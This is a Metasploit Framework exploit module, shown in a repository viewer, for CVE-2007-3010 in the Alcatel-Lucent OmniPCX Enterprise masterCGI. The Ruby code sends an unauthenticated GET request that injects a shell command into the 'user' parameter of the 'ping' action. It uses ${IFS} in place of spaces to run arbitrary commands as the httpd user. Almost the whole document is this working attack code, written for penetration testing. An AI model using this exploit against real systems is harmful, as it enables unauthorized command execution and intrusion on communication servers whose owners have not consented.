Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / linux / http / alcatel_omnipcx_mastercgi_exec.rb @ master

History | View | Annotate | Download (2.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = ManualRanking # Only interactive single commands supported
16

    
17
        include Msf::Exploit::Remote::Tcp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
22
                        'Description'    => %q{
23
                                        This module abuses a metacharacter injection vulnerability in the
24
                                HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
25
                                Communication Server 7.1 and earlier. The Unified Maintenance Tool
26
                                contains a 'masterCGI' binary which allows an unauthenticated attacker
27
                                to execute arbitrary commands by specifing shell metacharaters as the
28
                                'user' within the 'ping' action to obtain 'httpd' user access. This
29
                                module only supports command line payloads, as the httpd process kills
30
                                the reverse/bind shell spawn after the HTTP 200 OK response.
31
                        },
32
                        'Author'         => [ 'patrick' ],
33
                        'License'        => MSF_LICENSE,
34
                        'Version'        => '$Revision$',
35
                        'References'     =>
36
                                [
37
                                        [ 'OSVDB', '40521' ],
38
                                        [ 'BID', '25694' ],
39
                                        [ 'CVE', '2007-3010' ],
40
                                        [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
41
                                ],
42
                        'Platform'       => ['unix'],
43
                        'Arch'           => ARCH_CMD,
44
                        'Privileged'     => false,
45
                        'Payload'        =>
46
                                {
47
                                        'Space'       => 1024,
48
                                        'DisableNops' => true,
49
                                        'Compat'      =>
50
                                                {
51
                                                        'PayloadType' => 'cmd',
52
                                                        'RequiredCmd' => 'generic'
53
                                                }
54
                                },
55
                        'Targets'        =>
56
                                [
57
                                        [ 'Automatic Target', { }]
58
                                ],
59
                        'DefaultTarget' => 0,
60
                        'DisclosureDate' => 'Sep 09 2007'))
61

    
62
                register_options(
63
                        [
64
                                Opt::RPORT(443),
65
                                OptBool.new('SSL', [true, 'Use SSL', true]),
66
                        ], self.class)
67
        end
68

    
69
        def exploit
70
                connect
71

    
72
                cmd = payload.encoded.gsub(" ", '${IFS}')
73
                req =
74
                        "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
75
                        "Host: #{rhost}\r\n\r\n"
76

    
77
                print_status("Sending GET request with command line payload...")
78
                sock.put(req)
79

    
80
                res = sock.get(3,3)
81

    
82
                if (res =~ /<h5>(.*)<\/h5>/smi)
83
                        out = $1
84
                        print_line(out.gsub(/<h5>|<\/h5>/, ''))
85
                        return
86
                end
87

    
88
                handler
89
                disconnect
90
        end
91

    
92
end